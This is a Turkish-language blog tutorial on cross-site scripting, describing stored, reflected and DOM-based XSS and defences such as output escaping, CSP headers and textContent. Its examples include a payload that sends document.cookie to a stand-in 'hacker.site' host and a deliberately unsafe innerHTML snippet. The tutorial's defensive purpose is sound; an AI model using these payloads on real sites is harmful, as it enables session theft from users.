Site icon Netopsiyon Online

XSS (Cross-Site Scripting) Saldırıları ve Önleme Yöntemleri

Cross-Site Scripting (XSS) saldırıları, web güvenliği açısından en yaygın tehditlerden biridir. Bu saldırılar, kötü niyetli kişilerin web sitelerine zararlı JavaScript kodları eklemesine olanak tanır. Kullanıcı tarayıcıları bu kodları çalıştırdığında hassas bilgiler çalınabilir, kullanıcı oturumları ele geçirilebilir veya kötü amaçlı yönlendirmeler yapılabilir.

Bu yazıda, XSS saldırılarının türlerini ve bunlara karşı nasıl korunabileceğinizi anlatmaya çalışacağım.


1. XSS Türleri ve Çalışma Mekanizması

XSS saldırıları üç ana kategoriye ayrılır:

1️⃣ Stored (Kalıcı) XSS

<script>alert('XSS saldırısı!');</script>

Bu kod veritabanına kaydedilir ve sayfa her yüklendiğinde kullanıcıların tarayıcısında çalıştırılır.

2️⃣ Reflected (Yansıtılmış) XSS

<script>document.location='http://hacker.site/steal?cookie=' + document.cookie</script>

Bu kod çalıştırılırsa, kullanıcının oturum çerezi saldırgana gönderilebilir.

3️⃣ DOM-Based XSS

var userInput = location.hash.substring(1);
document.getElementById("content").innerHTML = userInput;

Bir saldırgan şu URL’yi paylaşır:

https://ornek.com/#<script>alert('Hacked!')</script>

Eğer bu giriş denetlenmeden kullanılırsa, sayfa yüklenirken kötü niyetli kod çalıştırılır.


2. XSS Önleme Yöntemleri

XSS saldırılarını engellemek için şu güvenlik önlemlerini uygulayabilirsiniz:

1️⃣ Kullanıcı Girdilerini Doğrulayın ve Filtreleyin

Gelen verileri doğrulamak, XSS’e karşı ilk savunma hattıdır. Kullanıcının girdiği HTML veya JavaScript kodlarını filtrelemek gerekir.

🔒 Güvenli Girdi Filtreleme (PHP ile):

$input = htmlspecialchars($_POST['input'], ENT_QUOTES, 'UTF-8');

📌 Bu işlem, <script> gibi HTML etiketlerini zararsız hale getirir.


2️⃣ Content Security Policy (CSP) Kullanın

CSP, yalnızca belirli kaynaklardan gelen script’lerin çalıştırılmasına izin verir.

🔒 CSP Başlığı Örneği:

Content-Security-Policy: default-src 'self'; script-src 'self' https://trustedscripts.com

Bu sayede, yalnızca belirtilen güvenilir kaynaklardan gelen JavaScript kodları çalıştırılabilir.


3️⃣ JavaScript innerHTML Kullanımından Kaçının

Birçok XSS saldırısı, innerHTML gibi DOM manipülasyonlarıyla yapılır. Daha güvenli bir alternatif olarak textContent kullanın:

document.getElementById("output").textContent = userInput;

Bu yöntem, girdiyi güvenli bir metin olarak işler ve tarayıcıda çalıştırılmasını engeller.


4️⃣ Güvenli Doğrulama ve Escape Kullanımı

Örnek:

echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');

Bu yöntem, kullanıcı girdilerinin doğrudan HTML’e eklenmesini önler.

XSS saldırıları, web siteleri için ciddi bir tehdit oluşturur. Ancak, doğru güvenlik önlemleri alınarak önlenebilir. Web uygulamalarınızı korumak için:

Kullanıcı girdilerini filtreleyin ve doğrulayın.
CSP başlıklarını kullanarak kaynakları sınırlandırın.
JavaScript’te innerHTML yerine textContent kullanın.
Escape işlemleri yaparak tehlikeli karakterleri etkisiz hale getirin.

Bu güvenlik önlemlerini uygulayarak, web sitenizi XSS saldırılarına karşı daha dayanıklı hale getirebilirsiniz.

Exit mobile version